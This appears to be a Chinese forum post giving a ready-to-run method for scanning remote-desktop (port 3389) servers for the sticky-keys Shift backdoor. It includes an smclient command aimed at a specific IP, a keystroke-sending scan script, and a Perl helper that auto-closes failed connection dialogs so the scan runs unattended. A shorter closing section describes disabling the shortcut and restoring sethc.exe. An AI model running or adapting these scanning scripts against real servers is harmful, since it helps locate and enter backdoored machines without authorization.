3389远程终端的SHIFT后门自动扫描[自动关闭错误连接]
首先3389的SHIFT后门极少 <br />其次大部分SHIFT后门都加密 <br /><br />所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受 <br />需要用到的工具 roboclient<br />smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d <br /><br />shift_backdoor.txt： <br /><br />job <br />{ <br />connect("","","",1,1); <br />sleep(2000); <br />senddata("WM_KEYDOWN",16,2752513); <br />senddata("WM_KEYUP",16,3223977985); <br />senddata("WM_KEYDOWN",16,2752513); <br />senddata("WM_KEYUP",16,3223977985); <br />senddata("WM_KEYDOWN",16,2752513); <br />senddata("WM_KEYUP",16,3223977985); <br />senddata("WM_KEYDOWN",16,2752513); <br />senddata("WM_KEYUP",16,3223977985); <br />senddata("WM_KEYDOWN",16,2752513); <br />senddata("WM_KEYUP",16,3223977985); <br />sleep(2000); <br />disconnect(); <br />} <br /><br />有些SHIFT后门被改成了按7次SHIFT，或者是WIN+U后门，改改shift_backdoor.txt把功能加进去即可<br /><br /><strong>自动关闭错误连接 <br /></strong><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"> <br />#!/usr/bin/perl <br />use warnings; <br />use Win32::GUI; <br />use constant WM_CLOSE => 16; <br />sub monitor { <br />my $handle = Win32::GUI::FindWindow('', '中断远程桌面连接'); <br />Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0); <br />} <br />sub monitor1 { <br />my $handle = Win32::GUI::FindWindow('', '断开 Windows 会话'); <br />Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0); <br />} <br />while(1){ <br />&monitor; <br />&monitor1; <br />sleep(2); <br />} <br /></div><br /><br /><br /><strong>shift后门的解决办法 <br /></strong>一日在网上看到了shift后门，说是按5下shift键服务器的系统盘就蹦出来了，不用输入密码！我一看，就怀着好奇的想法试了下果真如此，难怪我们的服务器总是出问题，查了下解决办法现在发出来，希望和我一样的菜鸟X级网管能有用。 <br />打开控制面板－－辅助功能选项－－粘滞键－－设置－－去掉使用快捷键的勾 <br /><br />还有要改下copy.exe的权限，不过在这里推荐大家把c盘所有的程序都 改下，只有administrator才能访问 <br /><br />shift后门的预防解决办法：预防很简单的，连敲5次shift，然后在弹出的设置里面取消连滞键 <br />已经中了的话 <br />attrib c:\windows\system32\sethc.exe -h <br />attrib c:\windows\system32\dllcache\sethc.exe -h <br />拷贝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目录下；拷贝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目录下 <br />收工！
頁:
[1]